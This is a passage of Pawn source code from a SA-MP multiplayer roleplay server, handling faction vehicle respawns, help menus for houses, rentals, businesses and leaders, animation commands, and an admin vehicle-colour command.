		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		if(IsUnusedMashin(668))
		{
		SetVehicleToRespawn(668);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(668),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",668,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(669))
		{
		SetVehicleToRespawn(669);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(669),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",669,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(670))
		{
		SetVehicleToRespawn(670);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(670),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",670,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		if(PlayerInfo[playerid][pLeader] == 20 || (PINFO[playerid][pMember] == 20 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 675;i<698;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}
		if(PlayerInfo[playerid][pLeader] == 9 || (PINFO[playerid][pMember] == 9 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 758;i<772;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		if(IsUnusedMashin(81))
		{
		SetVehicleToRespawn(81);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(81),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 81, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(82))
		{
		SetVehicleToRespawn(82);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(82),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 82, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(83))
		{
		SetVehicleToRespawn(83);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(83),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 83, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(84))
		{
		SetVehicleToRespawn(84);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(84),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 84, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(85))
		{
		SetVehicleToRespawn(85);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(85),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 85, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}

		if(PlayerInfo[playerid][pLeader] == 10 || (PINFO[playerid][pMember] == 10 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 71;i<81;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		if(IsUnusedMashin(103))
		{
		SetVehicleToRespawn(103);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(103),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 103, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(105))
		{
		SetVehicleToRespawn(105);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(105),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 105, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}

		for(new i = 157;i<164;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}



		if(PlayerInfo[playerid][pLeader] == 11 || (PINFO[playerid][pMember] == 11 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 111;i<117;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}


		if(PlayerInfo[playerid][pLeader] == 12 || (PINFO[playerid][pMember] == 12 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 336;i<342;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		for(new i = 626;i<642;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}


		if(IsUnusedMashin(148))
		{
		SetVehicleToRespawn(148);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(148),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 148, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}


		if(PlayerInfo[playerid][pLeader] == 13 || (PINFO[playerid][pMember] == 13 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 170;i<177;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		for(new i = 588;i<602;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}


		if(PlayerInfo[playerid][pLeader] == 14 || (PINFO[playerid][pMember] == 14 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 342;i<348;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}

		for(new i = 612;i<628;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}


		if(IsUnusedMashin(355))
		{
		SetVehicleToRespawn(355);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(355),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 355, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		if(IsUnusedMashin(152))
		{
		SetVehicleToRespawn(152);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(152),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid 152, because it driving by %s.",nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}

		if(PlayerInfo[playerid][pLeader] == 15 || (PINFO[playerid][pMember] == 15 && PINFO[playerid][pRank] >= 6))
		{

		for(new i = 183;i<190;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		for(new i = 600;i<615;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}
		if(PlayerInfo[playerid][pLeader] == 17 || (PINFO[playerid][pMember] == 17 && PINFO[playerid][pRank] >= 6))
		{

		for(new i = 691;i<714;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}


		if(PlayerInfo[playerid][pLeader] == 16 || (PINFO[playerid][pMember] == 16 && PINFO[playerid][pRank] >= 6))
		{
		for(new i = 86;i<89;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		for(new i = 348;i<354;i++)
		{
		if(IsUnusedMashin(i))
		{
		SetVehicleToRespawn(i);
		}
		else
		{
		GetPlayerName(GetVehicleDriverID(i),nametaraf,25);
		format(str,144,"[Faction]: We cannot respawn carid %i, because it driving by %s.",i,nametaraf);
		SCM(playerid,COLOR_SINA85,str);
		}
		}
		}



		SCM(playerid,COLOR_Good,"All unused faction vehicles respawned.");
		}
		return 1;
		}

		if(strcmp(cmd, "/househelp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				SendMessage(playerid, CRISTIAN,"_______________________________________");
				SendMessage(playerid, COLOR_WHITE,"*** HOUSE HELP *** type a command for more help");
				SendMessage(playerid, COLOR_GRAD3,"*** HOUSE *** /houseinfo /open /healupgrade(/hu) /setrentable /sellhouse");
				SendMessage(playerid, COLOR_GRAD3,"*** HOUSE *** /evictall /setrent /evict /housewithdraw /renters /sellhousetostate");
			}
			return 1;
		}

		if(strcmp(cmd, "/renthelp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				SendMessage(playerid, CRISTIAN,"_______________________________________");
				SendMessage(playerid, COLOR_WHITE,"*** RENTING HELP *** type a command for more help");
				SendMessage(playerid, COLOR_GRAD3,"*** HOME *** /rentroom /unrentroom");
				SendMessage(playerid, COLOR_GRAD3,"*** Vehicle *** /lock /unrentvehicle /findrentveh");
			}
			return 1;
		}
		if(strcmp(cmd, "/businesshelp", true) == 0 || strcmp(cmd, "/bizhelp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				SendMessage(playerid, CRISTIAN,"_______________________________________");
				SendMessage(playerid, COLOR_WHITE,"*** BUSINESS HELP *** type a command for more help");
				SendMessage(playerid, COLOR_GRAD3,"*** BUSINESS *** /bizinfo /bizfee /bizname /prodprice /sellbiztostate");
				SendMessage(playerid, COLOR_GRAD3,"*** BUSINESS *** /open /sellbiz /bizdeposit /bizwithdraw");
			}
			return 1;
		}
		if(!strcmp(cmd,"/sellbiztostate",true))
		{
			if(PINFO[playerid][pPbiskey] == 9999) return SCM(playerid,COLOR_SINA3,"You haven't any business.");
			new buz = PINFO[playerid][pPbiskey];
			if(buz < 500)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				if(!IsPlayerInRangeOfPoint(playerid,5,BizzInfo[buz][bEntranceX],BizzInfo[buz][bEntranceY],BizzInfo[buz][bEntranceZ]) && (Mahal[playerid] != 15 && TooBiz[playerid] != buz)) return SCM(playerid,COLOR_SINA3,"You must be near of the biz door or you must enter it.");
				new price = (BizzInfo[buz][bBuyPrice] * 50)/(100);
				format(string,sizeof string,"Are you accept to sell your bizz to state with $%s?\n\nIf you accept press on accept, else press on decline.",FormatNumber(price));
				ShowPlayerDialog(playerid,9743,DIALOG_STYLE_MSGBOX,"Sell Biz To State:",string,"Accept","Decline");
				return 1;
			}
			else
			{
				if(!IsPlayerInRangeOfPoint(playerid,5,SBizzInfo[buz-500][sbEntranceX],SBizzInfo[buz-500][sbEntranceY],SBizzInfo[buz-500][sbEntranceZ])) return SCM(playerid,COLOR_SINA3,"You must be near of the biz door.");
				new price = (SBizzInfo[buz-500][sbBuyPrice] * 50)/(100);
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				format(string,sizeof string,"Are you accept to sell your bizz to state with $%s?\n\nIf you accept press on accept, else press on decline.",FormatNumber(price));
				ShowPlayerDialog(playerid,9744,DIALOG_STYLE_MSGBOX,"Sell Biz To State:",string,"Accept","Decline");
				return 1;
			}
		}
		if(strcmp(cmd, "/leaderhelp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if ((PlayerInfo[playerid][pLeader] >= 1 || PINFO[playerid][pRank] >= 6) && (PINFO[playerid][pLeader] != 7 && PINFO[playerid][pMember] != 7))
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** LEADER HELP *** type a command for more help");
					SendMessage(playerid, COLOR_GRAD3,"*** LEADERS *** /staffshop, /staffshopstats, /invite, /uninvite, /setrank, /fmembers, /uninviteoffline, /stopfmeeting");
					SendMessage(playerid, COLOR_GRAD3,"*** LEADERS *** /fw(factionwarn), /fuw(factionunwarn), /checkjob, /fvr, /mysactivity, /setrankoffline, /fmeetingtime, /checkactivity");
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW, "Error: Only leaders can use this command.");
				}
			}
			return 1;
		}
/*
		if(strcmp(cmd, "/gotolist", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pAdmin] >= 1 || PINFO[playerid][pHelper] >= 1)
				{
					SendMessage(playerid, CRISTIAN,"_______________________________________");
					SendMessage(playerid, COLOR_WHITE,"*** HELP LIST *** type a command for more help");
					SendMessage(playerid, COLOR_GRAD3,"*** LIST ***  /gotols /gotosf /gotosft /gotolv /gotomark /gotoairportls /gotocnn /gotogsls /gotocivil /gotohotel /gotoevent");
					SendMessage(playerid, COLOR_GRAD3,"*** LIST ***  /gotochilliand /gotobank[ls/lv/sf] /gotods /gotosf1 /gotosf2 /gototemple /gotomosque /goto1-/goto16 /goback");
					return 1;
				}
				else
				{
					SendMessage(playerid,COLOR_YELLOW2,"Error: Your admin/helper level isn't high enough to use this command.");
					return 1;
				}
			}
			return 1;
		}
		*/
	/*----------------------------------------------------------------------------*/
	if(strcmp(cmd,"/stopanim",true)==0)
	{
		if(IsPlayerConnected(playerid) && GetPlayerAnimationIndex(playerid) && AnimPlay[playerid] == 1)
		{
			StopLoopingAnim(playerid);
			AnimPlay[playerid] = 0;
		}
		if(!GetPlayerAnimationIndex(playerid) && AnimPlay[playerid] == 1)
		{
		AnimPlay[playerid] = 0;
		}
		return 1;
	}
	/*----------------------------------------------------------------------------*/
		new dancestyle;
		if(strcmp(cmd, "/animlist", true) == 0)
		{
			SendMessage(playerid, CRISTIAN, "________________________________________");
			SendMessage(playerid,COL_SYN,"Syntax: /stopanim for stop animation or press enter. **");
			SendMessage(playerid,COLOR_CRS3,"** ANIMATIONS ** /chairsit, /chat, /crack /dance, /drunk, /injured, /carlock, /bomb, /elbow, /follow, /hitch");
			SendMessage(playerid,COLOR_CRS3,"** ANIMATIONS ** /lay, /lay2, /smoke, /kiss, /wave, /taichi, /carjack, /vomit, /medic, /girlkiss, /gsign, /win");
			SendMessage(playerid,COLOR_CRS3,"** ANIMATIONS ** /gro, /fallback, /fall, /rap, /knife, /basket, /reload, /aim, /lean, /handsup, /camera, /yes, /heyu");
			SendMessage(playerid,COLOR_CRS3,"** ANIMATIONS ** /fucku(/hooo), /crossarms, /slapass, /sup, /spraya, /headbutt, /smoking, /push, /box, /dealstance");
			SendMessage(playerid,COLOR_CRS3,"** ANIMATIONS ** /carjacked1, /carjacked2, /rcarjack1, /rcarjack2, /lcarjack1, /rcarjack2, /exhaust, /leftslap, /laugh");
			SendMessage(playerid,COLOR_CRS3,"** ANIMATIONS ** /airkick, /gkick, /lightcig, /walk, /gwalk, /dealstance, /loop, /figur, /fstance, /car, /bieh, /highthrow");
			SendMessage(playerid,COLOR_CRS3,"** ANIMATIONS ** /celebrate, /relax, /nod, /cry, /chant, /stretch, /angry, /exhausted, /ghand, /lay3, /die, /benddown");
			SendMessage(playerid,COLOR_CRS3,"** ANIMATIONS ** /shothead, /rollfall, /lifejump, /hoodfrisked, /tapcig, /shouting, /koface, /akick, /push, /lowbodypush");
			SendMessage(playerid,COLOR_CRS3,"** ANIMATIONS ** /stand /gift /slapped /eatsit /run, /lowthrow, /lookout, /carlock, /face, /cop, /hide, /joint");
			SendMessage(playerid,COLOR_CRS3,"** ANIMATIONS ** /thankyou /ainvite /robman /bed /carsit /getup /liftup /shkhead /checkout, /carry");
			return 1;
		}
	/*----------------------------------------------------------------------------*/
		if(strcmp(cmd, "/fstance", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		LoopingAnim(playerid,"ped","woman_idlestance",4.0,0,0,0,1,0); AnimPlay[playerid] = 1;
		return 1;
		}
		if(strcmp(cmd, "/carry", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
        SetPlayerSpecialAction(playerid, SPECIAL_ACTION_CARRY);
		LoopingAnim(playerid,"CARRY","crry_prtial",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
		return 1;
		}
		if(strcmp(cmd, "/carjacked6", true) == 0) {
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { ErrorBedePlayer(playerid); return 1; }
			LoopingAnim(playerid,"PED","CAR_jackedLHS",4.0,0,1,1,1,0); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/shouting", true) == 0) {
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			 LoopingAnim(playerid,"RIOT","RIOT_shout",4.0,1,0,0,0,0); AnimPlay[playerid] = 1;
			 return 1;
		}
		if(strcmp(cmd, "/tapcig", true) == 0) {
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			 LoopingAnim(playerid,"SMOKING","M_smk_tap",3.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			 return 1;
		}
		/*
			if(!strcmp(cmdtext, "/oedit33", true))
		{
			EditObject(playerid, objDD[playerid]);
			SendMessage(playerid, 0xFFFFFFFF, "SERVER: You can now edit the object!");
			return 1;
		}
		*/
		/*
		if(!strcmp(cmdtext, "/odel33", true))
		{
			DestroyDynamicObject(objDD[playerid]);
			SendMessage(playerid, 0xFFFFFFFF, "SERVER: deleted!");
			return 1;
		}
		*/

		if(strcmp(cmd, "/koface", true) == 0) {
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			 LoopingAnim(playerid,"PED","KO_shot_face",4.0,0,1,1,1,0); AnimPlay[playerid] = 1;
			 return 1;
		}
		if(strcmp(cmd, "/hoodfrisked", true) == 0) {
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			 LoopingAnim(playerid,"POLICE","crm_drgbst_01",4.0,0,1,1,1,0); AnimPlay[playerid] = 1;
			 return 1;
		}
		if(strcmp(cmd, "/lifejump", true) == 0) {
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			 LoopingAnim(playerid,"PED","EV_dive",4.0,0,1,1,1,0); AnimPlay[playerid] = 1;
			 return 1;
		}
		if(strcmp(cmd, "/rollfall", true) == 0) {
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			 LoopingAnim(playerid,"PED","BIKE_fallR",4.0,0,1,1,1,0); AnimPlay[playerid] = 1;
			 return 1;
		}
		if(strcmp(cmd, "/shothead", true) == 0) {
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			 LoopingAnim(playerid,"PED","KO_shot_stom",4.0,0,1,1,1,0); AnimPlay[playerid] = 1;
			 return 1;
		}
		if(strcmp(cmd, "/akick", true) == 0) {
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		LoopingAnim(playerid,"POLICE","Door_Kick",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
		return 1;
		}
		if(strcmp(cmd, "/lowbodypush", true) == 0) {
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		LoopingAnim(playerid,"GANGS","shake_carSH",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; return 1; }
	   if(strcmp(cmd, "/wank", true) == 0) {
	   if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA85,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PAULNMAC","wank_loop",4.0,1,1,1,1,0); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/follow", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"WUZI","Wuzi_follow",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}

		if(strcmp(cmd, "/laugh", true) == 0) {
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		LoopingAnim(playerid, "RAPPING", "Laugh_01", 4.0, 0, 0, 0, 0, 0); AnimPlay[playerid] = 1;
		return 1;
		}
		if(strcmp(cmd, "/lookout", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		LoopingAnim(playerid, "SHOP", "ROB_Shifty", 4.0, 0, 0, 0, 0, 0); AnimPlay[playerid] = 1;
		return 1;
		}
		/*if(!strcmp(cmd,"/events",true))
		{
			if(PINFO[playerid][pAdmin] < 1) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");

			new strlol[2000],strlol2[60],e;
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i) && EventID[i] != 9999)
				{
					format(strlol2, 256,"ID %d Title: %s Organizer: %s \t\n",EventID[i],EventTitle[i],PINFO[i][pName]);
					strcat(strlol, strlol2, 2000);
					EventDLG[playerid][e] = i;
					e ++;
				}
			}
			ShowPlayerDialog(playerid, 21557, DIALOG_STYLE_LIST, "[Events]", strlol, "Select", "Close");

			return 1;
		}*/
	if(strcmp(cmd, "/SetColor", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 8 && PlayerInfo[playerid][pSponser] == 0) return SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command!");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /SetColor <Playerid/PartOfName> <IDColor>");
			new taraf = ReturnUser6(tmp);
			if(PINFO[playerid][pAdmin] < PINFO[taraf][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
		  {
		  if(taraf!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
		  }
			if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /SetColor <Playerid/PartOfName> <IDColor>");
			new color = strval(tmp);
			if(color < 0 || color > 257) return SCM(playerid,COLOR_SINA3,"Type a Color between 1 untill 257");
			new Colors[257] = {
	0x000000FF, 0xF5F5F5FF, 0x2A77A1FF, 0x840410FF, 0x263739FF, 0x86446EFF, 0xD78E10FF, 0x4C75B7FF, 0xBDBEC6FF, 0x5E7072FF,
	0x46597AFF, 0x656A79FF, 0x5D7E8DFF, 0x58595AFF, 0xD6DAD6FF, 0x9CA1A3FF, 0x335F3FFF, 0x730E1AFF, 0x7B0A2AFF, 0x9F9D94FF,
	0x3B4E78FF, 0x732E3EFF, 0x691E3BFF, 0x96918CFF, 0x515459FF, 0x3F3E45FF, 0xA5A9A7FF, 0x635C5AFF, 0x3D4A68FF, 0x979592FF,
	0x421F21FF, 0x5F272BFF, 0x8494ABFF, 0x767B7CFF, 0x646464FF, 0x5A5752FF, 0x252527FF, 0x2D3A35FF, 0x93A396FF, 0x6D7A88FF,
	0x221918FF, 0x6F675FFF, 0x7C1C2AFF, 0x5F0A15FF, 0x193826FF, 0x5D1B20FF, 0x9D9872FF, 0x7A7560FF, 0x989586FF, 0xADB0B0FF,
	0x848988FF, 0x304F45FF, 0x4D6268FF, 0x162248FF, 0x272F4BFF, 0x7D6256FF, 0x9EA4ABFF, 0x9C8D71FF, 0x6D1822FF, 0x4E6881FF,
	0x9C9C98FF, 0x917347FF, 0x661C26FF, 0x949D9FFF, 0xA4A7A5FF, 0x8E8C46FF, 0x341A1EFF, 0x6A7A8CFF, 0xAAAD8EFF, 0xAB988FFF,
	0x851F2EFF, 0x6F8297FF, 0x585853FF, 0x9AA790FF, 0x601A23FF, 0x20202CFF, 0xA4A096FF, 0xAA9D84FF, 0x78222BFF, 0x0E316DFF,
	0x722A3FFF, 0x7B715EFF, 0x741D28FF, 0x1E2E32FF, 0x4D322FFF, 0x7C1B44FF, 0x2E5B20FF, 0x395A83FF, 0x6D2837FF, 0xA7A28FFF,
	0xAFB1B1FF, 0x364155FF, 0x6D6C6EFF, 0x0F6A89FF, 0x204B6BFF, 0x2B3E57FF, 0x9B9F9DFF, 0x6C8495FF, 0x4D8495FF, 0xAE9B7FFF,
	0x406C8FFF, 0x1F253BFF, 0xAB9276FF, 0x134573FF, 0x96816CFF, 0x64686AFF, 0x105082FF, 0xA19983FF, 0x385694FF, 0x525661FF,
	0x7F6956FF, 0x8C929AFF, 0x596E87FF, 0x473532FF, 0x44624FFF, 0x730A27FF, 0x223457FF, 0x640D1BFF, 0xA3ADC6FF, 0x695853FF,
	0x9B8B80FF, 0x620B1CFF, 0x5B5D5EFF, 0x624428FF, 0x731827FF, 0x1B376DFF, 0xEC6AAEFF, 0x000000FF,
	// SA-MP extended colours (0.3x)
	0x177517FF, 0x210606FF, 0x125478FF, 0x452A0DFF, 0x571E1EFF, 0x010701FF, 0x25225AFF, 0x2C89AAFF, 0x8A4DBDFF, 0x35963AFF,
	0xB7B7B7FF, 0x464C8DFF, 0x84888CFF, 0x817867FF, 0x817A26FF, 0x6A506FFF, 0x583E6FFF, 0x8CB972FF, 0x824F78FF, 0x6D276AFF,
	0x1E1D13FF, 0x1E1306FF, 0x1F2518FF, 0x2C4531FF, 0x1E4C99FF, 0x2E5F43FF, 0x1E9948FF, 0x1E9999FF, 0x999976FF, 0x7C8499FF,
	0x992E1EFF, 0x2C1E08FF, 0x142407FF, 0x993E4DFF, 0x1E4C99FF, 0x198181FF, 0x1A292AFF, 0x16616FFF, 0x1B6687FF, 0x6C3F99FF,
	0x481A0EFF, 0x7A7399FF, 0x746D99FF, 0x53387EFF, 0x222407FF, 0x3E190CFF, 0x46210EFF, 0x991E1EFF, 0x8D4C8DFF, 0x805B80FF,
